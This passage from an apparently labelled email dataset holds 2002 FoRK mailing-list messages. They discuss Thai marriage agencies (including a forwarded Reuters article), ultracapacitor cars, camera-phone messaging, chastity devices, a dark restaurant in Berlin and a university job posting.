a man with one leg and a man with post-traumatic ALB> stress disorder. ALB> WHY? ALB> Similar marriage agencies can be found in many developing countries. Critics ALB> say they thrive on the neediness of lonely Western men who are unable to ALB> form relationships in their own country, and on the desperation of ALB> impoverished women who believe they can find a better life in the West. ALB> But Moylan says that if the arrangement makes both partners happy, there is ALB> no reason to object. ""If you talk about people who are needy, I think ALB> everybody wants someone to love them, and wants someone to love, so yes, I ALB> need Wan,"" he said. ALB> ""Thai women are dissatisfied with life in Thailand. I think there's no ALB> secret there. They are looking for a better life. I don't have a problem ALB> with that. In return they are willing to give a lot of love and care to ALB> their future husband."" ALB> Lynch says men are dissatisfied with Western women too, and that is why they ALB> choose to use his agency. ALB> His brochure promises an alternative to the ""kind of de-feminized, ALB> over-sized, self-centered, mercenary-minded lady available on the British ALB> singles scene,"" and says he can make dreams come true even for men who are ALB> not ""God's gift to women."" ALB> Roongthip said many Western men found it difficult to meet women in their ALB> own countries -- and found Thai women attractive. ALB> ""They don't know how to meet women. Even if they go to pubs or discotheques ALB> or restaurants or department stores, how can they ask people to marry them? ALB> Impossible,"" she said. ALB> ""Many Thai girls are slim, have long hair, black eyes, small nose. They are ALB> good at taking care and joking and laughing, not strict. Different from ALB> ladies from other countries."" ALB> Although many couples married through agencies have a considerable age gap, ALB> the agencies say this is not a problem. They say language problems are also ALB> not a major obstacle. ALB> ""Thai ladies are not ageist, and they have no qualms whatsoever about having ALB> a husband who is significantly older,"" Lynch said. ""When I met my wife she ALB> couldn't speak a word of English. We muddled along with a phonetic ALB> dictionary. The ladies are very keen to learn English and they pick it up ALB> very quickly."" ALB> Many agencies also offer tuition for woman on what to expect when they move ALB> to the West. ALB> ""We have kitchens, we have study classes,"" Roongthip said. ""We teach them ALB> how to eat, and when to make tea."" ALB> PITFALLS ALB> But not all dreams come true. ""Bee"" is a 26-year-old Thai woman who went to ALB> Switzerland two years ago with a man she met through an agency. Now she is ALB> back in Bangkok, sad and angry. ALB> ""He had no friends, and I was so lonely,"" she said. ""I tried to make him ALB> happy but he just wanted sex and somebody to keep his house clean. He never ALB> spoke to me."" ALB> Bee came back to Bangkok earlier this year. ""I thought I would be happy ALB> there,"" she said. ""But it was the worst time of my life."" ALB> Lynch says that while some agencies are badly run, he makes checks to ensure ALB> unsuitable candidates are weeded out. ALB> ""We are ethical and professional,"" he said. ""We will not take on all ALB> comers."" ALB> Moylan says that despite possible pitfalls, his own marriage is proof the ALB> arrangement can work. Wan's sister has just signed up with Lynch's company, ALB> looking for a foreign husband. ALB> ""Perhaps there are cases of women being exploited. I'm sure there are,"" ALB> Moylan said. ""But in the majority of cases the women get a good deal."" -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Thu, 5 Sep 2002 21:27:18 -0400",Re: Electric car an Edsel...,"Ouch.... hooooo.... Cheers, RAH --- begin forwarded text Date: Thu, 5 Sep 2002 09:17:13 -0700 From: Same Guy Subject: Re: Electric car an Edsel... To: ""R. A. Hettinga"" Bob, This guy's an idiot. I design loads for systems with the 50 kV capacitors. One of those has 864 of such capacitors and stores only 10 megajoules, which means 11 kilojoules each. They weigh 125 kg. You need high energy per unit mass, and the capacitive system I picked maximizes that. It is precisely the system that Maxwell is touting for electrical braking and power augmentation for regenerative use in automobiles. You also need voltage you can use in a DC motor, which is why though the actual capacitors in the system are charged to 2.5 volts, the system has them arranged in series to boost the voltage. Ignore him. He's a waste of my time. ------------------------ From: ""R. A. Hettinga"" Subject: Re: Electric car an Edsel... Date: Wed, 4 Sep 2002 15:31:39 -0400 To: Some people... --- begin forwarded text Date: Wed, 4 Sep 2002 07:59:10 -0700 (PDT) From: ""Adam L. Beberg"" To: ""R. A. Hettinga"" cc: Subject: Re: Electric car an Edsel... On Wed, 4 Sep 2002, R. A. Hettinga wrote: > Maxwell (www.maxwell.com) makes and sells high energy density capacitors, > called ultracapacitors. They deliver them in an air-cooled, voltage > regulated module that will charge to 42 V and hold 128 kilojoules -- roughly > the energy in 2 teaspoons of sugar or a bite of a donut -- and weighs 16 > kilograms. If that electrical energy could all be converted to kinetic > energy, there's enough to get the capacitor module up to about 200 mph -- in > a vacuum. Since the energy you can pack into a capacitor is something like 1/2*C*(V^2), you want to design your system with the lowest voltage possible to fully exploit that V^2 ;) So yea, a 42V system will only be useful for accelerating insects, not cars. That must be why 40kV is standard not 42. (the joke of putting 42 into goggle to find that model was not missed BTW) Most production systems use a mix of batteries and capacitors, as very few real world applications run for less then 10 seconds like the car we were talking about originally. Even 10 seconds is pushing the ""capactior is the wrong choice"" limits. Thats why the landspeed record model is a battery one, it's got to run for a much longer period of time and needs a steady discharge curve. But it should be safe to say that most people want the Indy 500 version, not the 1/4 mile sprint version when they are looking for a vehice :) For those you dont want a battery or a capacitor, you want to take advantage of whole atoms, not just electrons. Then you can suck off the electrons you need with a fuel cell. However, you will use both capacitors for the braking/accel, and batteries to not just dump excess energy in the design. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' ---------------End of Original Message----------------- --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """Adam L. Beberg"" ",,"Thu, 5 Sep 2002 19:07:40 -0700 (PDT)",Selling Wedded Bliss (was Re: Ouch...),"...an alternative to the ""kind of de-feminized, over-sized, self-centered, mercenary-minded lady available on the British singles scene,"" Glad to see American culture is making it's way into the British bars too :) God bless us uncivilized bastards, every one. Still, definately something not right about the below. People are now cheaper then a decent laptop? (ok, so we knew that already) ------------- Selling Wedded Bliss Big Business in Thailand Thu Aug 29,10:19 AM ET By Andrew Marshall BANGKOK, Thailand (Reuters) - English dentist Ken Moylan came to Thailand looking for a wife. It took two hours to find her. ""The first day I went out with Wan, she came back to my hotel and hung all my clothes up and tidied the room. I thought it was marvelous,"" he said. ""I knew then there was something special."" Moylan, 49, is one of thousands of men who use introduction agencies to meet -- and marry -- Thai women. He lives in England now with 28-year-old Wan, who is expecting their first child. Critics of marriage agencies say they exploit the grinding poverty of women in developing countries, offering dreams of a new life in the West that often turn sour. But Moylan says he has no regrets about coming to Thailand in search of a wife. ""I got to Thailand at 2 p.m., and by 4 p.m. I'd met Wan,"" he said. ""I knew I found her attractive. I could tell straight away that she was very caring."" Moylan spent a week in Thailand, and after returning to England kept in touch with Wan by phone and mail. Six months later she came to England and the couple married. MR. MARRIAGE Lawrence Lynch, 49, runs Thai Professional Introduction Services, the agency Moylan used to meet his wife. Lynch, who calls himself ""Mr. Marriage,"" started the company after also marrying a Thai woman through an introduction agency. Since then he has helped set up hundreds of marriages. ""In the last five years we've done about 400,"" he said. ""To the best of my knowledge, they have all been successful."" Male clients pay $2,213 for the service, although men from countries that require them to handle some of the visa work on their own get a discount. Clients then get to view catalogs and videos of hundreds of Thai women looking for a husband. If they like what they see they come to Bangkok. Clients are introduced to several women in chaperoned meetings in Lynch's office -- encounters that can often be awkward given mutual shyness and language problems. ""We find that the gentlemen are usually just as nervous as the ladies,"" Lynch said. ""But once they start meeting the ladies they soon relax."" After the first meeting, couples can decide to go on dates to get to know each other better. Within two weeks of arrival, Lynch says, almost every client has found a potential wife. ""At the end of a fortnight it's very, very rare for a guy to go back and think he hasn't made his mind up,"" he said. In most cases, marriage follows, usually within the next year. Roongthip Kamchat, managing director of Thai No. 1 Connections, a Bangkok-based agency, says she has introduced about 1,000 couples, and less than 10 percent have broken up. Roongthip says she sometimes has a difficult time calming men who have just arrived in Bangkok looking for a wife. ""Sometimes they are very nervous,"" she said. ""And sometimes they are very impatient and say 'Give me a lady, I want to get married now.' I say: 'Calm down, OK, we'll talk.""' But if men are really in a hurry, Roongthip says, she can find them a wife and get them married within a week. Lynch says clients he has found wives for include a blind man, a man with one leg and a man with post-traumatic stress disorder. WHY? Similar marriage agencies can be found in many developing countries. Critics say they thrive on the neediness of lonely Western men who are unable to form relationships in their own country, and on the desperation of impoverished women who believe they can find a better life in the West. But Moylan says that if the arrangement makes both partners happy, there is no reason to object. ""If you talk about people who are needy, I think everybody wants someone to love them, and wants someone to love, so yes, I need Wan,"" he said. ""Thai women are dissatisfied with life in Thailand. I think there's no secret there. They are looking for a better life. I don't have a problem with that. In return they are willing to give a lot of love and care to their future husband."" Lynch says men are dissatisfied with Western women too, and that is why they choose to use his agency. His brochure promises an alternative to the ""kind of de-feminized, over-sized, self-centered, mercenary-minded lady available on the British singles scene,"" and says he can make dreams come true even for men who are not ""God's gift to women."" Roongthip said many Western men found it difficult to meet women in their own countries -- and found Thai women attractive. ""They don't know how to meet women. Even if they go to pubs or discotheques or restaurants or department stores, how can they ask people to marry them? Impossible,"" she said. ""Many Thai girls are slim, have long hair, black eyes, small nose. They are good at taking care and joking and laughing, not strict. Different from ladies from other countries."" Although many couples married through agencies have a considerable age gap, the agencies say this is not a problem. They say language problems are also not a major obstacle. ""Thai ladies are not ageist, and they have no qualms whatsoever about having a husband who is significantly older,"" Lynch said. ""When I met my wife she couldn't speak a word of English. We muddled along with a phonetic dictionary. The ladies are very keen to learn English and they pick it up very quickly."" Many agencies also offer tuition for woman on what to expect when they move to the West. ""We have kitchens, we have study classes,"" Roongthip said. ""We teach them how to eat, and when to make tea."" PITFALLS But not all dreams come true. ""Bee"" is a 26-year-old Thai woman who went to Switzerland two years ago with a man she met through an agency. Now she is back in Bangkok, sad and angry. ""He had no friends, and I was so lonely,"" she said. ""I tried to make him happy but he just wanted sex and somebody to keep his house clean. He never spoke to me."" Bee came back to Bangkok earlier this year. ""I thought I would be happy there,"" she said. ""But it was the worst time of my life."" Lynch says that while some agencies are badly run, he makes checks to ensure unsuitable candidates are weeded out. ""We are ethical and professional,"" he said. ""We will not take on all comers."" Moylan says that despite possible pitfalls, his own marriage is proof the arrangement can work. Wan's sister has just signed up with Lynch's company, looking for a foreign husband. ""Perhaps there are cases of women being exploited. I'm sure there are,"" Moylan said. ""But in the majority of cases the women get a good deal.""",0,0 Eugen Leitl ,,"Fri, 6 Sep 2002 11:38:36 +0200 (CEST)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > If guys still have silly antequated ideas about 'women's role' then > their opportunities for finding women _will_ be scarce. What is silly and antiquated depends a lot on which country you live in. I don't have statistics on the love half life, but it seems long-term relationships use something else for glue. Clearly our non-silly non-antiquated ideas about relationships have resulted in mostly short-duration relationships and single-parented, dysfunctional kids (not enough of them too boot, so to keep our demographics from completely keeling over we're importing them from places with mostly silly and antiquated ideas). At least from the viewpoint of demographics sustainability and counterpressure to gerontocracy and resulting innovatiophobia we're doing something wrong. Maybe we should really go dirty Tleilaxu all the way.",0,0 Hussein Kanji ,fork@spamassassin.taint.org,"Thu, 05 Sep 2002 15:07:44 -0700",RE: sprint delivers the next big thing??,"i agree with rob. i think if the phones (and mms is building traction in europe in handsets), this might be interesting. bottom line is will it a) help sell phones and b) bill enough time on the wcarriers networks? anyone remember the polariod photo sticker fad? low quality, small in size. but kids totally dug that stuff. seems like every adolescent girl had that stuff at one point. and it never replaced or aimed to replace digital cameras or normal photographs. i don't think mms photos will be a substitute for other photography - developed at the local 1 hour joint or digital photos on your pc. i think it expands the market and forms a new category. the extent of the category size is the big question (will it be a fad or will it a sustained market). that's consumer behavior and marketing. but i don't think the technology adoption will follow a substitution of another product on the market (in this case, digital photos or normal photos). europe's the one to watch - more teenagers have wireless phones and if the pricing and marketing is right, they'll figure out what to do with it once the carriers how to figure out how to market it to them. -h >From: ""Rob Shavell"" >To: ""'Mike Masnick'"" >Cc: >Subject: RE: sprint delivers the next big thing?? >Date: Wed, 21 Aug 2002 01:10:50 -0700 > >right Mike, > >i will agree to disagree but i take your comments to heart. my opinion is >only that this is one of the last frontiers of communications ('instant >show') that we cross easily (though you are right as rain on pricing). i am >mildly amused at the level of skepticism and innatention it is getting. > >my premise is that the world will change in dramatic and unexpected ways >once there are a billion 'eye's' which can instantly share what they see >amongst each other. that doesn't mean that people will stop talking on >their phones, or that people will spend more time w/images than voice. just >that it is fundamental. from news to crime to privacy to dating to family >life to bloopers and practical jokes, i believe there will be an explosion >of images unleashed specifically by cell phone integrated lenses because of >their utter ubiquity that dwarfs all pictures taken in the history of >photography by orders of magnitude and in short order. and yes, changes >things 'big time'. > >rgds, >rob > > >-----Original Message----- >From: Mike Masnick [mailto:mike@techdirt.com] >Sent: Tuesday, August 20, 2002 11:58 PM >To: Rob Shavell >Cc: fork@spamassassin.taint.org >Subject: RE: sprint delivers the next big thing?? > > >Not to keep harping on this, but... > >At 11:36 PM 8/20/02 -0700, Rob Shavell wrote: > >>content: who cares about content? that no one can think of 'useful' >content >>is always the business persons mistake. the content is the users >>communications. its anything and everything. avg person could easily send >>half dozen pics to a dozen people a day. mainly humorous i'd guess. who >>cares if content is trivial in nature. picture speaks a thousand words. > >This does nothing to answer my question. I *do* care about content. Hell, >if I could be convinced that people would send stupid pics back and forth >all day, I'd have a different opinion of this. I just am not convinced >that they will (stupid or not). > >While a picture may be worth a thousand words (and this is the same >argument the guy who works for me made), how many people do you know who >communicate by pictures? Sure, it sounds nice to say that a picture is >such an efficient messaging mechanism, but how often do you actually find >yourself drawing someone a picture to explain something? > >I don't buy it. > >For most messages, text works fine and is the most efficient >mechanism. For some messages, pictures do the job, but I would say not >nearly as often as words. Why do you think Pictionary and Charades and >such are games? Because images are usually not the most efficient way to >get a message across. > >>misc ramblings: i suppose you skeptical forkers would have said the same >>thing about '1 hour photo' processing. trivial, who needs it, i get better >>resultion elswhere. and yet, it had great decentralizing impact - the >plant >>had to be downsized and pushed to the retail operation - the digital >camera, >>and finally the integrated digital camera phone brings this cycle of >>decentralization in photography to a logical conclusion (which will put the >>photo giants to bed) and change the world in a meaningful way. also, SMS >>didn't take off because its easy, it took off because it costs less. its >>greatly ironic the carriers often trumpet the 'profitabilty' of their SMS >>traffic over others because of its ratio of cost to bandwidth. in reality, >>SMS cannibilizes the voice rev's they bought their networks to handle. > >Again, this is the same argument my colleague made (along with ""you just >don't understand kids today, and they'll run with this""). I wasn't saying >that MMS wouldn't take off because it wasn't high quality or that it wasn't >easy. I was saying that I couldn't see why people would use it in a way >that ""changed the face of communications"". > >I'm looking for the compelling reason (even if it's a stupid one) why >people would want to do this. Sure, if they integrate cameras into the >phone, and the quality improves (even only marginally) I can certainly see >people taking pictures with their cameras and occasionally sending them to >other people. But, mostly, I don't see what the benefit is to this over >sending them to someone's email address, or putting together an online (or >offline) photoalbum. > >I don't think 1 hour photos are trivial. People want to see their own pics >right away, and the quality is plenty good enough for snapshots. That's >one of the main reasons why digital cameras are catching on. The instant >view part. I'm guessing your argument is that people not only want >""instant view"", but also ""instant show"". Which is what this service >offers. I'm not convinced that most people want ""instant show"". I think >people like to package their pictures and show them. That's why people put >together fancy albums, and sit there and force you to go through them while >they explain every picture. Sure, occasionally ""instant show"" is nice, but >it's just ""nice"" on occasion. I still can't see how it becomes a integral >messaging method. > >What's the specific benefit of taking a picture and immediately sending it >from one phone to another? There has to be *some* benefit, even if it's >silly if people are going to flock to it. > >I'm searching... no one has given me a straight answer yet. > >The *only* really intriguing idea I've heard about things like MMS lately >are Dan Gillmor's assertion that one day in the near future some news event >will happen, and a bunch of people will snap pictures with their mobile >phones, from all different angles, and those photos tell the real story of >what happened - before the press even gets there. > >Willing to be proven wrong, >Mike > >PS If the wireless carriers continue to price these services as stupidly as >they currently are, then MMS is *never* going to catch on.",0,0 CDale ,Eirikur Hallgrimsson ,"Thu, 5 Sep 2002 16:40:13 -0500 (CDT)",Re: Ouch...,"LOL! They're not doomed at all. Thousands of men wear cb2000s to work every day (along with other chastity devices). They are not just decorations. You will not get a woody or have an orgasm until your keyholder allows you to. Anyhow, I know better than to have this type of conversation with a 'nilla, but these men wear these happily, and consensually. (: There is little power struggle in the lifestyles of the people who use these. There is power exchange instead. Lots of variations on the definition, but this one's from Gloria Brame's site: Power exchange: the consensual transfer of power by the submissive to the dominant. The exchange takes place when the returned energy from the dominant empowers the submissive. Anyhow, there are tons of informative sites out there for anyone who cares to read them, but I assure you, the chastity device business is doing very well, and it is illegal to force someone to wear one. It's not coercion, it is creative sensuality. (: Cindy On Thu, 5 Sep 2002, Eirikur Hallgrimsson wrote: > On Wednesday 04 September 2002 10:59 pm, CDale wrote: > > Someone needs to tell the mayor about this: > > http://www.cb-2000.com/ > > ""Chastity"" technologies were doomed from the start, and I'll add chemical > ones to the trash heap. (Yeah, Cindy, these are decorative toys for the > subculture, but....) > > Generally,someone is attempting to preserve a relationship with this > nonsense, when quite plainly the the relationship is in a state where > preserving it is of little value. Hardware is of no real use save for > playing the power-struggle game. I don't want to see the future of this. > ""Invisible Fence"" for your mate. ""Must wear"" location transponders and > endocrine monitors. More movies like ""Minority Report."" > > It seems so automatic for people to reach for coercive solutions. So > surprizing given the low absolute effectiveness of coercion in the absense > of overwhelming force advantage. > > Eirikur > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 Eirikur Hallgrimsson ,FoRK ,"Thu, 5 Sep 2002 14:32:42 -0400",Re: Ouch...,"On Wednesday 04 September 2002 10:59 pm, CDale wrote: > Someone needs to tell the mayor about this: > http://www.cb-2000.com/ ""Chastity"" technologies were doomed from the start, and I'll add chemical ones to the trash heap. (Yeah, Cindy, these are decorative toys for the subculture, but....) Generally,someone is attempting to preserve a relationship with this nonsense, when quite plainly the the relationship is in a state where preserving it is of little value. Hardware is of no real use save for playing the power-struggle game. I don't want to see the future of this. ""Invisible Fence"" for your mate. ""Must wear"" location transponders and endocrine monitors. More movies like ""Minority Report."" It seems so automatic for people to reach for coercive solutions. So surprizing given the low absolute effectiveness of coercion in the absense of overwhelming force advantage. Eirikur",0,1 CDale ,Eugen Leitl ,"Fri, 6 Sep 2002 05:01:51 -0500 (CDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Fri, 6 Sep 2002, Eugen Leitl wrote: > On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > > > If guys still have silly antequated ideas about 'women's role' then > > their opportunities for finding women _will_ be scarce. > > What is silly and antiquated depends a lot on which country you live in. It also depends on what the fad is or what is in style. (: > I don't have statistics on the love half life, but it seems long-term > relationships use something else for glue. > > Clearly our non-silly non-antiquated ideas about relationships have > resulted in mostly short-duration relationships and single-parented, > dysfunctional kids (not enough of them too boot, so to keep our > demographics from completely keeling over we're importing them from places > with mostly silly and antiquated ideas). Actualy our silly antiquated ideas about relationships and love have resulted in the bleedings of many upon many a page (and musical instrumnet, and canvas) What's the problem if we dash a little Mrs. Dash on them? (: Or cayenne. Or ginger. (mm ask me about ginger root play). And let me tell you this: just because a child happens to be single-parented (what a word), does not mean that child is dysfunctional or lives in a dysfunctional home. The govt/media/church has tried to make it look like there is a disintegration, when in fact, there is a coming together of other family members and friends to raise children. It's not decaying -- it's changing. Nothing wrong with change. > At least from the viewpoint of demographics sustainability and > counterpressure to gerontocracy and resulting innovatiophobia we're doing > something wrong. > > Maybe we should really go dirty Tleilaxu all the way. > Maybe y'all should buy m-w some more bandwidth. C -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 """Adam L. Beberg"" ",,"Thu, 5 Sep 2002 16:02:55 -0700 (PDT)",Pitch Dark Bar Opens for Blind Dates,"This is preaty neat. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com Pitch Dark Bar Opens for Blind Dates Thu Sep 5,10:09 AM ET BERLIN (Reuters) - Diners at Berlin's newest restaurant cannot see what they are eating and have to be guided to their table by blind waiters because the bar is pitch black. The restaurant, which opened Wednesday, aims to make guests concentrate on senses other than sight. Holding on to one another, the first visitors followed waiter Roland Zimmermann, 33, into the dining room. Although the PhD student has been blind since childhood, he is the only one able to point out chairs, cutlery and drinks. ""I'm putting your plate right in front of you,"" Zimmermann said. ""I can't find my mouth,"" one voice replied out of the dark. ""I wonder what this dish is -- Lasagne? Or some casserole?"" another invisible guest said. In the ""unsicht-Bar,"" which means invisible in German, diners cannot choose complete dishes from the menu but can only indicate whether they would like a fish, meat or vegetarian option. ""We want people to have an extraordinary experience of tasting, feeling and smelling,"" said Manfred Scharbach, head of the organization for blind and sight-restricted people, which is running the bar. ""People are surprised that their tongues and taste senses are taking over and are sending signals, which their eyes would normally have sent,"" he added. Of the 30 staff, 22 are blind. An average meal lasts about three hours and the waiters are always around to help, Scharnbach said. And at the end of the night, they will even reveal what customers have actually been eating.",0,1 CDale ,Kragen Sitaker ,"Fri, 6 Sep 2002 04:21:45 -0500 (CDT)",Re: Ouch... [Bebergflame],"On Fri, 6 Sep 2002, Kragen Sitaker wrote: > Adam Beberg writes: > > Shouldn't a politician know not to tell the truth? Odds he's impeached by > > As the article you forwarded explained in the second line of text, > this politician is a woman. > > > next Monday? [ob: no-clue-how-they-remove-mayors-in-italy] > > ob: no-clue-full-stop, as in nearly all Adam Beberg posts. posts, or pouts? in rare webster form, C",0,0 Eugen Leitl ,CDale ,"Fri, 6 Sep 2002 12:16:29 +0200 (CEST)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Fri, 6 Sep 2002, CDale wrote: > It also depends on what the fad is or what is in style. (: DNA's idea of fads is on the 100 kiloyear scale, unfortunately. As long as current fads don't involve in-vivo rewrite of the genome, homeoboxes including (now there's a problem for you, homeoboxing the adult), they're not all that smart an idear. > Actualy our silly antiquated ideas about relationships and love have > resulted in the bleedings of many upon many a page (and musical > instrumnet, and canvas) What's the problem if we dash a little Mrs. Art is sure nice. However, if art is our first priority we're kinda fux0red, if we've set our sight on a sustainable culture. > Dash on them? (: Or cayenne. Or ginger. (mm ask me about ginger > root play). > > And let me tell you this: just because a child happens to be > single-parented (what a word), does not mean that child is > dysfunctional or lives in a dysfunctional home. The govt/media/church Our firmware is not built to be single-parented. You can counteract that somewhat by exposing the kid to a community of close friends, but not too many do that. > has tried to make it look like there is a disintegration, when in > fact, there is a coming together of other family members and friends > to raise children. It's not decaying -- it's changing. Nothing wrong > with change. I don't know what exactly is wrong, but something is definitely wrong. This is way too important to be left to just our intuition of what is right and what is wrong. > > At least from the viewpoint of demographics sustainability and > > counterpressure to gerontocracy and resulting innovatiophobia we're doing > > something wrong. > > > > Maybe we should really go dirty Tleilaxu all the way. > > > > Maybe y'all should buy m-w some more bandwidth. m-w?",0,0 ThosStew@aol.com,"hussein@stanfordalumni.org, fork@spamassassin.taint.org","Fri, 6 Sep 2002 08:44:38 EDT",Re: sprint delivers the next big thing??,"these are being advertised all over the UK/ Chief come-on seems to be to the same people who use phones for text messaging--i.e. teenagers. ""Hi, we're at the beach and I met this awesome guy--here's his pic"" Tom",0,0 """Russell Turpin"" ",fork@spamassassin.taint.org,"Fri, 06 Sep 2002 13:41:46 +0000",Re: Selling Wedded Bliss (was Re: Ouch...),"Eugen Leitl: >Clearly our non-silly non-antiquated ideas about relationships have >resulted in mostly short-duration relationships and single-parented, >dysfunctional kids .. Don't swallow too quickly what you have read about more traditional cultures, today or in the past. Do we have any statistics on the poor man's divorce from centuries past? Are you so sure that the kids in 18th century England were any more ""functional"" than those today? What about 20th century Saudi Arabia? >At least from the viewpoint of demographics sustainability and >counterpressure to gerontocracy and resulting innovatiophobia we're doing >something wrong. Granting your first two points, I'm skeptical about the last. Do you see ANY signs that America specifically or the west generally are suffering from lack of innovation, vis-a-vis youth nations such as Iran? The last I read, the third generation of the revolution all (a) want to move to America, and (b) failing that, are importing everything they can American. _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com",0,1 Eugen Leitl ,Russell Turpin ,"Fri, 6 Sep 2002 15:57:47 +0200 (CEST)",Re: Selling Wedded Bliss (was Re: Ouch...),"On Fri, 6 Sep 2002, Russell Turpin wrote: > Don't swallow too quickly what you have read about > more traditional cultures, today or in the past. Do I don't swallow ;> I was just offering anecdotal first-hand experiences from a number of cultures indicating 1) we apparently have a problem 2) which requires more than ad hoc hand-waving approach (it's trivial! it's obvious! all we have to do is XY!). > we have any statistics on the poor man's divorce from > centuries past? Are you so sure that the kids in 18th That's easy. Divorce didn't happen. The church and the society looked after that. Only relatively recently that privilege was granted to kings, and only very recently to commoners. > century England were any more ""functional"" than those > today? What about 20th century Saudi Arabia? Is Saudi Arabia a meaningful emigration source? > >At least from the viewpoint of demographics sustainability and > >counterpressure to gerontocracy and resulting innovatiophobia we're doing > >something wrong. > > Granting your first two points, I'm skeptical about > the last. Do you see ANY signs that America specifically I wasn't talking about the US specifically. (Though the demographics problem exists there as well, albeit not in that extent we Eurotrash are facing right now). > or the west generally are suffering from lack of > innovation, vis-a-vis youth nations such as Iran? The 1) I'm seeing lack of innovation, and -- more disturbing -- trend towards even less innovation by an autocatalytic process (gerontocracy favors gerontocracy). > last I read, the third generation of the revolution all > (a) want to move to America, and (b) failing that, are > importing everything they can American. My point was that the west, US first and foremost, importing innovation carriers and working against bad trend in the demographics by large scale import. While this kinda, sorta works on the short run, this is not something sustainable.",0,0 """Jim Whitehead"" ","""FoRK"" ","Thu, 5 Sep 2002 13:59:19 -0700",SoE at UCSC looking for an experienced IT support person,"Hi all, We're looking for an experienced IT support person in the School of Engineering at UC Santa Cruz -- please foward to anyone who you think might be interested. - Jim -----Original Message----- From: Michael Perrone [mailto:mperrone@cs.ucsc.edu] Sent: Thursday, September 05, 2002 12:31 PM To: techstaff@cse.ucsc.edu Subject: Recruiting for PAIII-IV Supervisor Dear SoE Community, Forgive the spam, but I wanted to make sure that everyone is aware that we are recruiting to replace the position vacated by Gary Moro. This is a technical position with supervisor responsibilities. The focus is on Solaris and Linux systems administration with Veritas and Irix experience a plus. The posting is here: http://www2.ucsc.edu/staff_hr/employment/listings/020809.htm Regards, Michael Perrone",0,1 Lucas Gonze ,,"Fri, 6 Sep 2002 10:14:00 -0400 (EDT)",Re: Selling Wedded Bliss (was Re: Ouch...),"Related anecdote: I was eating in a restaurant in chinatown in Boston. The place was empty. The only other customer was a white guy reading an asian-language newspaper. The guy asked the waiter for help translating a word. Eventually his story came out. He had married an asian woman through one of these introduction services. after about a year of marriage she had charged him with assault and left him, leaving no contact information. He was hanging around in Chinatown, asking random asians for help finding her. I obviously don't know if he did assault her, but what struck me was that the possibility of mutual exploitation is high. Anecdote number two: In college I had a job as a street vendor. There was a guy I worked with who was a lifer in the job. He was a noticably messed up guy. Among other odd characteristics he fawned on women customers, doing stuff like offering them flowers. I asked him about it. He said that he'd never had sex with a woman who wasn't a prostitute, and his dream was to save up enough money to get a mail order bride. I was really moved. The guy was a loon, but he wanted a companion as much as anyone else and he was realistic about his chances.",0,0 Tom ,fork@spamassassin.taint.org,"Fri, 6 Sep 2002 10:22:34 -0400 (EDT)",The Needle and the damage done,">>From the Hoax or Hack Dept: Digital Needle - A Virtual Gramophone , a reported method to scan yourr old LPs on a flat bed scanner and then use the resulting images to make MP3's of the fine playing conatined therein. Its all still sketchy to the point of possible hoaxdom, but the idea is dang interesting. http://www.cs.huji.ac.il/~springer/",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Fri, 06 Sep 2002 16:00:34 +0000",Re: Selling Wedded Bliss (was Re: Ouch...),"Turpin: >>Do we have any statistics on the poor man's divorce from centuries past? Eugen Leitl: >That's easy. Divorce didn't happen. You seem not to know what a ""poor man's divorce"" is. It is an old term, from the time when divorce was difficult, but walking was easy, and identity was not so locked down as it is today. Not every widow had a dead husband. >I'm seeing lack of innovation .. That doesn't tell us anything except what is happening in Eugen Leitl's life. The more common observation is that the rate of change is increasing. Do you have any data that might persuade us that what you see is more telling than what others see? >gerontocracy favors gerontocracy. I would have thought that gerontocracy favors biotech research and plenty of young workers to pay taxes. Note that the fertility rate doesn't result from decisions made by the old, but by the young. If we want more kids, we have to convince people who are in their twenties to become parents. _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com",0,1 Eugen Leitl ,Russell Turpin ,"Fri, 6 Sep 2002 19:19:14 +0200 (CEST)",Re: Selling Wedded Bliss (was Re: Ouch...),"On Fri, 6 Sep 2002, Russell Turpin wrote: > You seem not to know what a ""poor man's divorce"" is. I know very little in general. I hope you can excuse me for that. > It is an old term, from the time when divorce was > difficult, but walking was easy, and identity was > not so locked down as it is today. Not every widow > had a dead husband. Yeah, you could always run away, strangle your wife, your wife could always poison you, scooby dooby doo. It wasn't the rule, and I don't feel like desintegrating into a nitpicking orgy. You win. > >I'm seeing lack of innovation .. > > That doesn't tell us anything except what is > happening in Eugen Leitl's life. The more common Yeah, I happen to live in a small hole, under the roots of an old oak tree. You don't, so innovation is a global phenomenon. > observation is that the rate of change is increasing. > Do you have any data that might persuade us that what > you see is more telling than what others see? > > >gerontocracy favors gerontocracy. > > I would have thought that gerontocracy favors biotech > research and plenty of young workers to pay taxes. So thought I, but apparently all it favours is a lot of whining about good old times, the inability of youngn's to pay for your pension and the health insurance, and the generic influx of uncouth furriners, which must be stopped, Somehow. > Note that the fertility rate doesn't result from > decisions made by the old, but by the young. If we Uh, I'm kinda aware of that. > want more kids, we have to convince people who are > in their twenties to become parents. Now we're talking. Got a plan?",0,0 """Jim Whitehead"" ","""FoRK"" ","Fri, 6 Sep 2002 09:54:52 -0700",Googlecooking,"Originally linked by Dave's Scripting News: http://www.megnut.com/archive.asp?which=2002_09_01_archive.inc#000194 We've got 